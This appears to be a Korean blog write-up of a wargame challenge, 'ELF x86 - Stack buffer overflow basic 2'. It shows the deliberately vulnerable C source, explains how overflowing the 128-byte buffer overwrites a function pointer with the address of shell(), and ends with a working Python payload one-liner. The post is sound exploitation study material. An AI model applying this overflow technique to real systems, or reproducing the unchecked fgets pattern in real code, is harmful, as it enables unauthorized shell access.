controlpro
Pwn1일차(ELF x86 - Stack buffer overflow basic 2) 본문
728x90
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
void shell() {
setreuid(geteuid(), geteuid());
system("/bin/bash");
}
void sup() {
printf("Hey dude ! Waaaaazzaaaaaaaa ?!\n");
}
void main()
{
int var;
void (*func)()=sup;
char buf[128];
fgets(buf,133,stdin);
func();
}
사실 이문제도 별게 없다.
바뀐거라고는 전 문제는 변수의 값을 바꿔주는 것에서 이번 문제는 포인터의 인자를 바꿔주는 것이다.
그래서 *func에 들어가 있는 sup 주소를 shell의 주소로 바꾸어주면 된다.
gdb로 확인해보면 buf와 func차이는 128 만큼 차이 나고 역시 a를 128개 넣어주고 shell의 주소를 넣어주면된다.
그러면 shell함수의 주소를 어떻게 알까 ??
여러가지 방법이 있는데 나는 objdump -d ch15를 확인하고 거기 함수 목록에서 찾았다.
(gdb에서 disas shell을 해도 된다.)
Payload
(python -c "print 'a' * 128 + '\x16\x85\x04\x08'";cat) | ./ch15 |
728x90
반응형